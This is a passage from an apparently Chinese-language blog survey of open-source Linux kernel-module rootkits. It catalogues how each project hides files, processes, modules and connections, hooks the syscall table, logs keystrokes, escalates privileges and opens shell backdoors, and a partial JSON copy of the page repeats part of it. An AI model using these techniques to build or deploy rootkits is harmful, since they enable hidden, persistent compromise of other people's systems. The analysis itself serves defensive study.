文件/目录隐藏： 参考 SK-2.3 找到 syscall_table 位置，参考 SK-4.4 隐藏文件；
键盘记录： 参考 SK-8.2 ，记录结果会通过远程交互的UDP会话发回去；
进程隐藏：参考 SK-8.1；HOOK 参考 SK-3.1；
网络会话隐藏： 参考 SK-6.1; HOOK参考 SK-3.1；
权限提升： 参考 SK-9.1;
suterusu
项目地址：https://github.com/mncoppola/suterusu
模块自身隐藏：参考 SK-5.1 和 SK-5.2；
本地交互： 参考 SK-1.3；
远程后门交互：参考 SK-1.2；
SHELL后门： 交互参考 SK-1.2； 功能实现参考 SK-10.1；并发执行参考 SK-10.5；
键盘记录：参考 SK-8.1；在这个位置还用到了 wake_up_interruptible 中断相关的接口，感兴趣的小伙伴们可以在这里深挖一下，它也是一个在 Linux 内核中比较重要的 API。这里就不展开了；
文件/目录隐藏：参考 SK-4.1; 下钩参考 SK-3.1
进程隐藏：参考 SK-7.4；下钩参考 SK-3.1
网络会话隐藏： 参考 SK-6.1； 下钩参考 SK-3.1
ARP-Rootkit
项目地址：https://github.com/romeroperezabel/ARP-RootKit
PS： 截止本文编写时，该项目已经从github下架，无法找到，希望读者中有人能够贡献一波，供我等分析。
rootkit
项目地址：https://github.com/nurupo/rootkit
本地交互：项目中存在 client 程序，通过 SK-1.5 的方式配置内核模块；下钩参考 SK-3.1;
模块自身隐藏： 参考 SK-5.1 和 SK-5.3；下钩参考 SK-3.1；
进程隐藏： 参考 SK-5.3; 下钩参考 SK-3.1;
文件/目录隐藏： 参考 SK-4.1；
Diamorphine
项目地址： https://github.com/m0nad/Diamorphine
本地交互：参考 SK-1.6；
模块自身隐藏： 参考 SK-5.1;
文件/目录隐藏： 参考 SK-4.4； HOOK 参考 SK-3.3；获取系统调用表参考 SK-2.1，在较新系统版本中参考 SK-10.4；
权限提升：参考 SK-9.1；
rootkit （2）
项目地址： https://github.com/ivyl/rootkit
本地交互： 参考 SK-1.5；
模块自身隐藏：参考 SK-5.1 / SK-5.2 / SK-5.4；
文件/目录隐藏： 参考 SK-4.5;
进程隐藏：参考 SK-7.4；
权限提升： 参考 SK-9.1；
randkit
项目地址: https://github.com/vrasneur/randkit
文件/目录隐藏： 参考 SK-4.4
adore-ng
项目地址：https://github.com/trimpsyw/adore-ng
文件隐藏：高内核版本参考 SK-4.1； 低内核版本参考 SK-4.5；
本地交互：参考 SK-1.7；
权限提升：参考 SK-9.1；
进程隐藏：参考 SK-7.4；
the_colonel
项目地址：https://github.com/bones-codes/the_colonel
本地交互：参考 SK-1.5；
文件隐藏：参考 SK-4.5；
进程隐藏：参考 SK-7.4；
权限提升：参考 SK-9.1；
键盘记录：参考 SK-8.3；
enyelkm
项目地址： https://github.com/David-Reguera-Garcia-Dreg/enyelkm
本地交互： 参考 SK-1.8；
网络隐藏：参考 SK-6.1；
文件隐藏： 参考 SK-4.4； HOOK 参考 SK-3.3；
权限提升：参考 SK-9.1；
shell后门：参考 SK-1.9；会筛选处理 ICMP 和 TCP4 协议的报文；
subversive
项目地址：https://github.com/falk3n/subversive
本地交互： 参考 SK-1.10； HOOK 参考 SK-3.5;
文件隐藏： 参考 SK-4.4； HOOK 参考 SK-3.5；
权限提升： 参考 SK-9.1； HOOK 参考 SK-3.5；
进程隐藏： 参考 SK-7.5； HOOK 参考 SK-3.5;
lkm-rootkit (2)
项目地址: https://github.com/jiayy/lkm-rootkit
模块自身隐藏：参考 SK-5.1 和 SK-5.2；
本地交互： 参考 SK-1.3；
远程后门交互：参考 SK-1.2；
SHELL后门： 交互参考 SK-1.2； 功能实现参考 SK-10.1；并发执行参考 SK-10.5；
键盘记录：参考 SK-8.1；在这个位置还用到了 wake_up_interruptible 中断相关的接口，感兴趣的小伙伴们可以在这里深挖一下，它也是一个在 Linux 内核中比较重要的 API。这里就不展开了；
文件/目录隐藏：参考 SK-4.1; 下钩参考 SK-3.1
进程隐藏：参考 SK-7.4；下钩参考 SK-3.1
网络会话隐藏： 参考 SK-6.1; HOOK参考 SK-3.1；
wukong
项目地址: https://github.com/hanj4096/wukong
模块自身隐藏: 参考 SK-5.1 和 SK-5.2;
本地交互： 参考 SK-1.3；
文件/目录隐藏： 参考 SK-4.5; HOOK 参考 SK-3.1；
进程隐藏： 参考 SK-7.3； HOOK 参考 SK-3.1；
网络会话隐藏： 参考 SK-6.1；
Kernel_Rootkit
项目地址： https://github.com/varshapaidi/Kernel_Rootkit
模块自身隐藏： 参考 SK-5.5；
文件/目录隐藏： 参考 SK-4.6；
进程隐藏： 参考 SK-7.6；
网络会话隐藏： 参考 SK-6.2；
PS： 这个项目似乎是个半成品，其中有大量无用代码，看逻辑似乎是想通过劫持内存分配或内存映射的逻辑实现一些未知功能。
brootus
项目地址： https://github.com/dsmatter/brootus
模块自身隐藏：参考 SK-5.1 和 SK-5.2；
文件/目录隐藏：参考 SK-4.4； HOOK 参考 SK-3.3；
进程隐藏： 参考 SK-7.4;
网络会话隐藏： 参考 SK-6.1；
PS： 这个项目似乎是个半成品，其中有一部分函数有调用过程，却没有实现。
Sutekh
项目地址: https://github.com/PinkP4nther/Sutekh
权限提升： 参考 SK-9.1
LilyOfTheValley
项目地址：https://github.com/En14c/LilyOfTheValley
模块自身隐藏：参考 SK-5.1 和 SK-5.2；
文件/目录隐藏：参考 SK-4.1； HOOK 参考 SK-3.1；
进程隐藏：参考 SK-7.4； HOOK 参考 SK-3.1；
权限提升：参考 SK-9.1；
research-rootkit
项目地址：https://github.com/NoviceLive/research-rootkit
PS: 该项目是个学习性质的项目，并非一个完整的 rootkit 所以这里不展开了。
Out-of-Sight-Out-of-Mind-Rootkit
项目地址：https://github.com/NinnOgTonic/Out-of-Sight-Out-of-Mind-Rootkit
模块自身隐藏： 参考 SK-5.1 和 SK-5.2；
网络交互：参考 SK-1.4； HOOK 参考 SK-3.2；
文件/目录隐藏： 参考 SK-4.4； HOOK 参考 SK-3.1；
PS：项目目前是半成品学习性质项目，有PDF介绍，但功能并未完全实现。目前这里只整理一部分已经完整实现的功能。
LKM-Rootkit 知识点汇总
本节将以知识点汇总的形式介绍各种常见功能的技能点，并为每一个知识点，给出一个编号（SK-X.X），进而标定出相关项目用到了哪种知识点。
配置交互
由于 LKM 工作在内核层，编译安装后，很难更改配置。所以一般都需要维护一个通讯接口，供用户侧随时更新配置信息。整理后发现，常见的通讯接口大致可以归类为下几种情况：
SK-1.1 通过 Netlink 交互（本地）
Netlink 是标准 socket 提供的一种双向通讯协议，可用于本地配置内核模块，
通过socket(PF_NETLINK, SOCK_RAW, NETLINK_USER) 可完成用户侧的初始化。其中NETLINK_USER为双方约定好的私有编号。
内核层的初始化代码截图如下所示：
netlink_kernel_create 这个接口，在不同的内核版本声明不同，当需要做内核适配时，要注意这个接口的声明情况。
SK-1.2 通过筛选 ICMP报文 交互（网络）
这是一种可以从网络环境同内核模块交互的方法。下图是一个 ICMP 对接shell后门的实现片段：
SK-1.3 通过 ioctl 进行交互（本地）
ioctl 是一种针对 I/O 设备定义的交互方式，在 LKM-Rootkit 中也经常遇到，通过约定一个自定义的协议号，可以实现本地的 Rootkit 交互。下图是一段内核中过滤特定协议号的处理逻辑，供参考：
SK-1.4 通过筛选 IP报文 实现交互（网络）A
这是一种通过筛选 IP 报文，实现内核交互的方法，在 Linux 中，对 IPv4报文 的处理，和一个名为 ip_rcv 的函数有关，通过更改这个函数的处理逻辑，可以完成定制的交互逻辑，下图是被用于替换原函数执行逻辑的代码片段，供参考：
可以看出，代码覆盖了 TCP/UDP/ICMP 三种协议的处理机制，实现同内核的交互。
SK-1.5 文件读写（本地）
在内核中，通过对指定文件读写函数的劫持，可以实现用户和内核间的交互，下图是一个为 /proc 目录文件的读写处理函数打 HOOK 的代码片段：
SK-1.6 劫持 kill signal（本地）
有一些内核模块功能很简单，只有单向配置的需求，此时会考虑使用劫持 signal 信号的方案，在 int kill(pid_t pid, int sig); 函数中，第二个参数就是 signal，它使用起来足够简单，只要对 sys_kill 的处理逻辑增加一个 HOOK 点，就可以筛选出特殊的 signal 标记，很容易实现，所以在一些 Rootkit 中会选择这样的方式向内核发送同步指令：
SK-1.7 劫持 lookup（本地）
在 inode_operations 中，有一个 lookup 函数指针，用于查阅相关目录文件。在部分 rootkit 中，会通过改写这个指针中函数的处理逻辑，获知用户正在查阅的文件名，通过对文件名编码，就可以得到用户想要实现的指令了，下图是一个利用该方法解析指令内容的方法：
SK-1.8 中断处理过程劫持（本地）
通过重写内核中的中断处理逻辑，对于正常程序的调用找到原有逻辑执行，筛选出特殊的调用请求。如此可以完成用户和内核模块之间的交互，下图是一个生成新中断处理的逻辑：
SK-1.9 筛选 IP报文 实现交互（网络） B
内核在处理收到的网络报文时，会依次交给不同的解析器进行试图解析。解析器可以通过 dev_add_pack 进行添加，这样就可以筛选出符合需求的特殊报文，从而得到操作指令，下图是一段调用 dev_add_pack 的截图：
SK-1.10 利用 sys_uname（本地）
uname(struct utsname *buf) 函数是一个获取机器名的 API，传入参数是一段空内存，执行返回后，这段内存则被填充上当前机器的相关信息。如果在内核中将处理逻辑改写，就可以利用传入的这个空内存向内核模块传递数据了，同时又不会影响该 API 原有的功能。下图是一个被改写后的 uname 处理逻辑：
syscall_table的获取
在 Linux内核 中，syscall_table(系统调用表) 是一个用来将"系统中断号"映射到"对应功能函数（地址）"的表格。通过修改这个表格中的内容，就可以完成对某些特定功能函数的HOOK操作，进而修改替换函数的原有执行逻辑，最终完成"关键信息的隐藏"。
所以，获取 syscall_table 内存地址是一个非常重要的技能点，它直接决定着 Rootkit 的效果。通过阅读开源代码，大致总结出以下几种获取方式。
SK-2.1 暴力搜索
在 sys_close 是Linux 内核提供的一个函数，它是 syscall_table 中第 "__NR_close" 个元素的值，其中 __NR_close 的值通过内核宏定义，不同的编译环境中，这个值有区别。下图是一个使用该方法的代码截图：
SK-2.2 通过 IDT 搜索
Linux 内核中，syscall_table 是挂在中断描述符表结构下的，所以只要找到中断描述符表，即可确定 syscall_table 的大致范围，同时 syscall_table 中保存的数据又都是系统地址指针，所以此种方法，可相对准确的定位到 syscall_table 结构的位置，下图是具体的代码截图，供参考：
SK-2.3 通过 MSR_LSTAR 定位
在Linux 内核中(arch/x86/include/asm/msr-index.h)，定义了一个 MSR_LSTAR 宏，这是一个和系统调用表执行有关的寄存器，它保存着一个内存地址，实际的 syscall_table 地址将出现在这个地址的后面，确定了大致范围后，即可参考 SK-2.2 的方式，搜索到 syscall_table 地址了，下图是此种方案的代码片段截图：
SK-2.4 通过 kallsyms 获取
在 SK-10.3 中提到了 利用 kallsyms_on_each_symbol 获取内核符号的知识点，其实这个接口也可以被用于获取 syscall_table，在内核中，其符号名为 sys_call_table，一段代码样例如下所示：
内核钩子（HOOK）
想在 Linux 内核中隐藏信息，首先要有办法把自己的代码插入关键位置并执行。这就需要在内核中的特定位置下钩子。本小节整理的就是下钩子的几种技巧。
SK-3.1 Hijack钩子
这是一种直接修改内核代码的钩子，它会将一组控制执行顺序的代码直接插入给定的内存地址，进而让自己的代码得到执行。下图是项目中实际的代码截图：
其中第10行是 push xxx; ret 代码的 hex 数据模版，第11行则是将自己的函数地址填充到模版中，进而达到一个 push new; ret的效果。与之类似的还可能会遇到 mov eax，xxx ; jmp eax 类型的 hex 模版。
SK-3.2 nf_hook 钩子
nf 是 netfilter 的缩写，可以从内核层截流网络报文，完成网络交互。下图是利用 nf_hook 实现icmp协议后门的截图：
SK-3.3 syscall劫持
在 Linux 系统中，syscall_table 中包含了很多系统相关的重要函数指针，针对性的修改这里的指针内容，可以实现插入自定义函数逻辑的效果，下图是一个劫持 getdents64 的代码片段，它先保存了原始的函数（getdents64）地址，然后又在 syscall_table 里放了一个自己实现的 fake_getdents64 函数地址：
SK-3.4 KHOOK 框架
在 Reptile 项目中，用了一个名为 KHOOK 的钩子框架，它是对 SK-3.1 方案的扩展，其在易用性和稳定性中下了一些功夫。在符号查找中，参考了 SK-10.3 的方案。所以这里把它单独提出来作为一个 HOOK 知识点，该项目具体的编码，比较复杂，这里就不展开说了，感兴趣的小伙伴们可以去参考：
https://github.com/milabs/khook 项目，项目中有严谨的描述文档和全部代码，各位可以自行查阅。
SK-3.5 调试模式
IA-32 从 386 开始，引入了调试寄存器和硬件断点，这意味着在 ring0 层，内核代码的任意位置都可以被设置硬件断点，从而实现对内核代码调试的能力。这种调试能力也为 rootkit 开发提供了一种新的控制流劫持的思路，在 https://github.com/falk3n/subversive 这一款 rootkit 中，就是通过此种方式实现 HOOK 的，它先对 syscall_table 的内存地址下了硬件断点，随后当其他代码访问到 syscall_table 结构时，调试代码都会被执行。下图是一段设置内存断点的代码截图，红框圈定的是它在每个CPU上依次下断的调用逻辑：
文件/目录隐藏
SK-4.1 目录文件迭代器
VFS中存在一个名为 file_operations 的接口抽象，其中存在一个目录文件迭代器。如果对这个迭代器的执行逻辑做一下修改，即可完成对指定文件的隐藏，在Rootkit中一般通过修改根目录迭代器的方式隐藏文件/目录。下图是一个获取迭代器函数的代码片段：
SK-4.2 目录隐藏（Reptile）
在 Reptile 中，目录隐藏功能的实现比较特殊，它通过对一组函数打 HOOK 的方式，从而实现一个隐藏目录无法给他人查阅的能力，这些函数有：
fillonedir/filldir/filldir64/compat_fillonedir/compat_filldir/compat_filldir64/__d_lookup
SK-4.3 文件隐藏（Reptile）
在 Reptile 中，文件隐藏是一个临时实现，它是通过对 vfs_read 打 HOOK 实现的。在注释中作者提到: 这不是最佳实现，但它有效，在将来可能会改变。下图是这段函数头的截图：
SK-4.4 下钩 getdents 函数
在 Linux 中 getdents 和 getdents64 是显示目录/文件相关的函数，通过改动这两个函数的执行逻辑，可以实现是否显示一个指定文件的效果。下图是一段用于隐藏文件的代码片段截图，可以看到当 file_hiding 开关打开时，会触发一个特殊的逻辑，以便于不显示受保护的文件：
SK-4.5 劫持 readdir
在 SK-4.1 中提到的 file_operations 接口抽象中，还有一个 readdir 的函数指针，通过修改这个指针，也能达到文件隐藏的效果，下图是一个 Rootkit 中更改这个指针的代码片段：
SK-4.6 替换 file_operations
在 SK-4.1 和 SK-4.5 中看到的是，替换 file_operations 成员成员指针的情况，而如果直接替换这个成员本身，自然也能实现相同的效果，这里就不贴图了。
模块自身的隐藏
SK-5.1: 从模块链表删除自身
在Linux内核中，每一个 struct module 通过一个链表结构(struct list_head)，链接在一起。所有和模块遍历有关的操作，都需要依赖这个链表，如果从这个链表中将自身摘出，则模块自身便无法通过遍历的方式被找到了，下图是一个摘除自身的代码片段，以供参考：
SK-5.2：从文件系统移除模块自身
当模块成功安装后，用户可以从 /sys/modules 看到新模块的一些基本信息。通过对 kobject_del 方法可以移除对应的模块目录，所以在一些 LKM 中也会使用这种方式隐藏自身，下图是一个参考代码：
SK-5.3: 从内核文件树移除模块
在 Linux内核中，有一个内核文件系统，它是通过红黑树的结构组织起来的。这个文件系统运行后将会对应 /proc，/sys 等虚拟文件目录。如果将当前模块对应的结构从这棵树中摘除，也可以达到隐藏 /sys/modules 目录内容的效果。这个方法同 SK-5.2 的区别在于，前者是将内核结构整体从内核删除，而本节是仅删除挂载关系，内核结构还在内存中，下图中红框，就是具体实现的代码片段：
SK-5.4 ：内核模块链表脱钩
除 struct module 结构以外，内核中还有一个 module_kobject.kobj 也是和模块一一对应的，且这个结构也是个通过链表连载一起的结构体。有些 Rootkit 会选择在这里脱钩，实现内核模块的隐藏：
SK-5.5 替换 file_operations
同 SK-4.6 一样，只是替换目标换成了 /sys/modules 目录对应的 file_operations 结构。
网络会话的隐藏
SK-6.1 通过 seq_operations 隐藏网络会话
在 Linux 内核中，网络会话也是一种文件，通过 file 结构可以找到一个名为 seq_operations.show 的函数指针，该函数指针用于生成网络会话相关的信息供展示，通过修改对应的函数，可以实现网络会话对用户显示的隐藏。
下图是获取 tcp4_seq_show 相关函数地址的代码片段，供参考：
如此操作后，就可以通过过滤地址或端口，对特定的网络会话进行屏蔽了。
除 tcp4_seq_show 外，还可能出现 udp4_seq_show/tcp6_seq_show/udp6_seq_show 等几种情况。
SK-6.2 替换 seq_operations
在 SK-6.1 中，是通过 seq_operations 的成员实现会话流控制，如果直接替换 一个新伪造的 seq_operations 到对应位置，也能实现相同的效果，这里就不截图了。
进程隐藏
SK-7.1 进程隐藏（Reptile）
在 Reptile 中隐藏进程这个功能的实现，有些特殊，它是通过"给一组函数打hook"的方式，最终完成进程隐藏的，在这个过程中，被打 HOOK的函数 有： audit_alloc/copy_creds/exit_creds/find_task_by_vpid/vfs_statx/sys_kill/__x64_sys_kill/tgid_iter/load_elf_binary 。
当一个进程(task)被设置为隐藏后，Reptile 会为其 task_struct.flags 设置一个标记 0x80000000，有趣的是，这个标记在 Linux内核 中代表着 PF_SUSPEND_TASK，是一个进程无法冻结的标记，这会让那些正常设置这个标记的进程也出现隐身效果。
SK-7.2 进程隐藏（tasks链表摘除)
在 Linux 中，process/thread 会对应到一个名为 struct task_struct 的结构体，在这个结构体中有一个 tasks 链表成员，它作为一个侵入式的双向链表会将当前 task 同其他 task 链接到一起。有些 Rootkit 会将被保护的 task 从这个链表中摘除，进而无法遍历访问。脱钩方法也很简单，只需要在模块中增加一行代码 list_del_init(¤t->tasks); 即可。在一部分 rootkit 中，会考虑自行编码脱钩的逻辑代码，下图就是一个展开实现的样例，它们背后的实现思路都是相同的的：
SK-7.3 隐藏 "/proc" 目录信息 A
在 SK-4.1 中，提到了文件目录迭代器的使用。其实 /proc 目录中的内容，也可以通过目录文件迭代器实现目录内容的隐藏，下图是一个获取 /proc迭代器 的代码片段：
SK-7.4 隐藏 "/proc" 目录信息 B
在 SK-4.5 中 提到了通过更改 filldir/readdir 指针隐藏文件的方法，该方法也适用于 /proc 目录下的文件。这里就不贴代码图了。
SK-7.5 通过 syscall hook 隐藏
在 syscall 调用中，有一系列和进程操作相关的函数，如果让这些函数统统对需要隐藏的进程 pid 执行失败，如此 ring3 层便无法查阅到进程的有关信息了，这些函数的列表如下：
getpgid
getsid
setpgid
kill
tgkill
tkill
sched_setscheduler
sched_setparam
sched_getscheduler
sched_getparam
sched_setaffinity
sched_getaffinity
sched_rr_get_interval
wait4
waitid
rt_tgsigqueueinfo
rt_sigqueueinfo
prlimit64
ptrace
migrate_pages
move_pages
get_robust_list
perf_event_open
SK-7.6 替换 file_operations
同 SK-4.6 类似，只是替换目标为 /proc 目录对应的 file_operations 结构.
键盘记录
SK-8.1 键盘记录器
内核提供了register_keyboard_notifier 和 unregister_keyboard_notifier 两个方法，用于增加或卸载键盘监视器，下图是使用该机制实现键盘记录功能的代码片段：
SK-8.2 键盘记录（/dev/ttyS0读写劫持）
在 Linux 中， /dev/ttyS0 是一个字符设备（虚拟），可以简单的将之理解为是标准输入，通过重写它的 read 函数，可以捕获用户从键盘输入的内容，下图是一个劫持的代码样例：
SK-8.3 /dev/input/event 监听
这是一个和输入有关的设备文件，通过监听该文件的变化情况，可以得到用户正在输入的内容。
下图是选自 https://github.com/bones-codes/the_colonel/blob/devx/lkm/col_kl.c 的代码片段，该代码没有合并到 master 分支，似乎是个未完成的版本，仅供参考：
权限提升
SK-9.1 本地权限获取
对于 Rootkit 来说，有时需要为普通进程赋予管理员权限。这就涉及到一个名为 cred 的结构体，另一方面，当前进程的 cred 可以通过 prepare_creds 可以获取。下图就是一段通过该方式提权的代码段：
其他技术点
SK-10.1 执行系统命令
内核提供了 call_usermodehelper 函数，用于在用户态运行一个可执行文件。下图是使用该函数，实现shell后门的代码片段：
SK-10.2 从内核启动一个线程
内核提供了 kernel_create 函数，用于从内核态启动一个用户态线程。配置好 subprocess_info 实例后，即可完成启动。
SK-10.3： 内核符号地址获取 A
Linux 内核提供了一个名为 kallsyms_on_each_symbol 的 API，用来获取各种符号在内存中的地址。但该 API 需要 Linux内核 在编译时打开 CONFIG_KALLSYMS 宏，好在一些常见的Linux发行版中，默认都支持了这个宏，所以通配性还过得去。下图是基于该API抽象后的获取指定符号地址的代码片段：
SK-10.4：内核符号地址获取 B
在 SK-10.3 中提到了通过 kallsyms_on_each_symbol 获取符号地址的方法，其实，与这个API相对的还有另一个名为 kallsyms_lookup_name 的孪生API也可以获取一部分符号地址，这里就不贴截图了，感兴趣的小伙伴们自行找源码探索一下。
SK-10.5： 通过工作队列执行任务分发
在 Linux内核中，有一个工作队列(workqueue)的机制，可以将特定工作（以函数为单位）分发到不同的CPU中去执行，产生一个内核并发执行任务的效果。编码者将“任务提交”和“任务执行”分开实现，分别对应到 投递 workqueue 和 消费 workqueue ，Linux内核就会可以辅助完成任务的分发和执行，是一个极为方便使用的 API。
在使用上，它需要先通过 create_workqueue 初始化一个新队列，当有新工作需要执行时，再通过 queue_work 方法向队列提交这个 work。下图是使用该方法的一段代码截图，供参考：
参考资料
https://wiki.osdev.org/Inline_Assembly/Examples#RDMSR
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 引\n\nLKM 是 Linux Kernel Module 的缩写，所以这里 LKM-Rootkit 的含义，是\"基于Linux内核模块实现的 Rootkit\"。由于前段时间分析了skidmap的细节，所以想到针对性的梳理一下这方面的内容。在集中精力读了一些开源代码后，整理一些手册性质的文字记录下来，供他人日后查阅。\n\n# 开源项目参考\n\n本节项目主要来源为 [awesome-linux-rootkits](https://github.com/milabs/awesome-linux-rootkits) 中提到的 LKM 相关的项目。\n\nRootkit 作为一个隐藏工具，其主要设计目标是为了隐藏攻击痕迹，本节将对开源LKM进行一个汇总梳理。每个项目中，可能包含多个实现细节，通过编号（SK-X.X）对应到知识点汇总章节中。\n\n## rooty\n\n**项目地址**: https://github.com/jermeyyy/rooty\n\n**模块自身隐藏**： SK-5.1 加 SK-5.2 实现内核模块的隐藏；\n\n**本地交互**： 利用 SK-1.3 向内核模块发送控制指令；利用 SK-3.1 筛选 ioctl 命令；\n\n**远程后门交互**： 参考 SK-1.2;\n\n**获取root权限**：参考 SK-9.1 ；\n\n**SHELL后门**： 功能实现参考 SK-10.2 启动了一个 sshd 任务处理shell 交互；\n\n**VNC后门**：参考 SK-10.2 启动了一个 vnc 服务。\n\n**文件/目录隐藏**：参考 SK-3.1 和 SK-4.1 更改根目录(\"/\")的迭代器;\n\n**进程隐藏**： 参考 SK-3.1 和 SK-7.3;\n\n**网络会话隐藏**：参考 SK-6.1； HOOK 参考 SK-3.1；\n\n**键盘记录**：利用 SK-8.1 实现键盘记录，并将结果记录到一个指定文件。\n\n## Reptile\n\n**项目地址**: https://github.com/f0rb1dd3n/Reptile\n\n**本地交互**: 利用 SK-1.3 向内核发送控制指令；利用 SK-3.1 筛选 ioctl 命令；\n\n**远程后门交互**： 参考 SK-1.4；\n\n**模块自身隐藏**： 参考 SK-5.1；\n\n**获取root权限**：参考 SK-9.1；\n\n**网络会话隐藏**：参考 SK-6.1；HOOK参考 SK-3.4；\n\n**进程隐藏**：参考 SK-7.1；HOOK参考 SK-3.4；\n\n**目录隐藏**：参考 SK-4.2；HOOK参考 SK-3.4；\n\n**文件隐藏**：参考 SK-4.3；HOOK参考 SK-3.4；\n\n\n## rkduck\n\n**项目地址**：https://github.com/QuokkaLight/rkduck\n\n**本地交互**：rkduck提供了一个控制程序，user-kernel的通讯方式参考 SK-1.1;\n\n**SHELL后门**：交互协议参考 SK-1.2； 功能实现参考 SK-10.1;\n\n**文件/目录隐藏**： 利用 SK-3.1 和 SK-4.1 更改根目录(\"/\")迭代器;\n\n**进程隐藏**： 参考 SK-3.1 和 SK-7.3;\n\n**SSH后门**：参考 SK-10.1 植入公钥到 `/root/.ssh/authorized_keys` 文件;\n\n**键盘记录**： 利用 SK-8.1实现键盘记录，并利用 SK-10.1 执行 `scp` 命令 将记录结果回传攻击者;\n\n## lkm-rootkit\n\n**项目地址**： https://github.com/croemheld/lkm-rootkit\n\n**模块自身隐藏**： 参考 SK-5.1 和 SK-5.3;\n\n**远程后门交互**： 参考 SK-10.2 启动一个UDP监听服务线程，接受从网络发来的控制指令；\n\n**文件/目录隐藏**： 参考 SK-2.3 找到 syscall_table 位置，参考 SK-4.4 隐藏文件；\n\n**键盘记录**： 参考 SK-8.2 ，记录结果会通过远程交互的UDP会话发回去；\n\n**进程隐藏**：参考 SK-8.1；HOOK 参考 SK-3.1；\n\n**网络会话隐藏**： 参考 SK-6.1; HOOK参考 SK-3.1；\n\n**权限提升**： 参考 SK-9.1;\n\n\n## suterusu\n\n**项目地址**：https://github.com/mncoppola/suterusu\n\n**模块自身隐藏**：参考 SK-5.1 和 SK-5.2；\n\n**本地交互**： 参考 SK-1.3；\n\n**远程后门交互**：参考 SK-1.2；\n\n**SHELL后门**： 交互参考 SK-1.2； 功能实现参考 SK-10.1；并发执行参考 SK-10.5；\n\n**键盘记录**：参考 SK-8.1；在这个位置还用到了 wake_up_interruptible 中断相关的接口，感兴趣的小伙伴们可以在这里深挖一下，它也是一个在 Linux 内核中比较重要的 API。这里就不展开了；\n\n**文件/目录隐藏**：参考 SK-4.1; 下钩参考 SK-3.1\n\n**进程隐藏**：参考 SK-7.4；下钩参考 SK-3.1\n\n**网络会话隐藏**： 参考 SK-6.1； 下钩参考 SK-3.1\n\n\n## ARP-Rootkit\n\n**项目地址**：https://github.com/romeroperezabel/ARP-RootKit\n\nPS： 截止本文编写时，该项目已经从github下架，无法找到，希望读者中有人能够贡献一波，供我等分析。\n\n## rootkit\n\n**项目地址**：https://github.com/nurupo/rootkit\n\n**本地交互**：项目中存在 client 程序，通过 SK-1.5 的方式配置内核模块；下钩参考 SK-3.1;\n\n**模块自身隐藏**： 参考 SK-5.1 和 SK-5.3；下钩参考 SK-3.1；\n\n**进程隐藏**： 参考 SK-5.3; 下钩参考 SK-3.1;\n\n**文件/目录隐藏**： 参考 SK-4.1；\n\n## Diamorphine\n\n**项目地址**： https://github.com/m0nad/Diamorphine\n\n**本地交互**：参考 SK-1.6；\n\n**模块自身隐藏**： 参考 SK-5.1;\n\n**文件/目录隐藏**： 参考 SK-4.4； HOOK 参考 SK-3.3；获取系统调用表参考 SK-2.1，在较新系统版本中参考 SK-10.4；\n\n**权限提升**：参考 SK-9.1；\n\n## rootkit （2）\n\n**项目地址**： https://github.com/ivyl/rootkit\n\n**本地交互**： 参考 SK-1.5；\n\n**模块自身隐藏**：参考 SK-5.1 / SK-5.2 / SK-5.4；\n\n**文件/目录隐藏**： 参考 SK-4.5;\n\n**进程隐藏**：参考 SK-7.4；\n\n**权限提升**： 参考 SK-9.1；\n\n## randkit\n\n**项目地址**: https://github.com/vrasneur/randkit\n\n**文件/目录隐藏**： 参考 SK-4.4\n\n## adore-ng\n\n**项目地址**：https://github.com/trimpsyw/adore-ng\n\n**文件隐藏**：高内核版本参考 SK-4.1； 低内核版本参考 SK-4.5；\n\n**本地交互**：参考 SK-1.7；\n\n**权限提升**：参考 SK-9.1；\n\n**进程隐藏**：参考 SK-7.4；\n\n\n## the_colonel\n\n**项目地址**：https://github.com/bones-codes/the_colonel\n\n**本地交互**：参考 SK-1.5；\n\n**文件隐藏**：参考 SK-4.5；\n\n**进程隐藏**：参考 SK-7.4；\n\n**权限提升**：参考 SK-9.1；\n\n**键盘记录**：参考 SK-8.3； \n\n## enyelkm\n\n**项目地址**： https://github.com/David-Reguera-Garcia-Dreg/enyelkm\n\n**本地交互**： 参考 SK-1.8；\n\n**网络隐藏**：参考 SK-6.1；\n\n**文件隐藏**： 参考 SK-4.4； HOOK 参考 SK-3.3；\n\n**权限提升**：参考 SK-9.1； \n\n**shell后门**：参考 SK-1.9；会筛选处理 ICMP 和 TCP4 协议的报文；\n\n## subversive\n\n**项目地址**：https://github.com/falk3n/subversive\n\n**本地交互**： 参考 SK-1.10； HOOK 参考 SK-3.5;\n\n**文件隐藏**： 参考 SK-4.4； HOOK 参考 SK-3.5；\n\n**权限提升**： 参考 SK-9.1； HOOK 参考 SK-3.5；\n\n**进程隐藏**： 参考 SK-7.5； HOOK 参考 SK-3.5;\n\n\n## lkm-rootkit (2)\n\n**项目地址**: https://github.com/jiayy/lkm-rootkit\n\n**模块自身隐藏**：参考 SK-5.1 和 SK-5.2；\n\n**本地交互**： 参考 SK-1.3；\n\n**远程后门交互**：参考 SK-1.2；\n\n**SHELL后门**： 交互参考 SK-1.2； 功能实现参考 SK-10.1；并发执行参考 SK-10.5；\n\n**键盘记录**：参考 SK-8.1；在这个位置还用到了 wake_up_interruptible 中断相关的接口，感兴趣的小伙伴们可以在这里深挖一下，它也是一个在 Linux 内核中比较重要的 API。这里就不展开了；\n\n**文件/目录隐藏**：参考 SK-4.1; 下钩参考 SK-3.1\n\n**进程隐藏**：参考 SK-7.4；下钩参考 SK-3.1\n\n**网络会话隐藏**： 参考 SK-6.1; HOOK参考 SK-3.1；\n\n## wukong\n\n**项目地址**: https://github.com/hanj4096/wukong\n\n**模块自身隐藏**: 参考 SK-5.1 和 SK-5.2;\n\n**本地交互**： 参考 SK-1.3；\n\n**文件/目录隐藏**： 参考 SK-4.5; HOOK 参考 SK-3.1；\n\n**进程隐藏**： 参考 SK-7.3； HOOK 参考 SK-3.1；\n\n**网络会话隐藏**： 参考 SK-6.1；\n\n## Kernel_Rootkit\n\n**项目地址**： https://github.com/varshapaidi/Kernel_Rootkit\n\n**模块自身隐藏**： 参考 SK-5.5；\n\n**文件/目录隐藏**： 参考 SK-4.6；\n\n**进程隐藏**： 参考 SK-7.6；\n\n**网络会话隐藏**： 参考 SK-6.2；\n\nPS： 这个项目似乎是个半成品，其中有大量无用代码，看逻辑似乎是想通过劫持内存分配或内存映射的逻辑实现一些未知功能。\n\n## brootus\n\n**项目地址**： https://github.com/dsmatter/brootus\n\n**模块自身隐藏**：参考 SK-5.1 和 SK-5.2；\n\n**文件/目录隐藏**：参考 SK-4.4； HOOK 参考 SK-3.3；\n\n**进程隐藏**： 参考 SK-7.4;\n\n**网络会话隐藏**： 参考 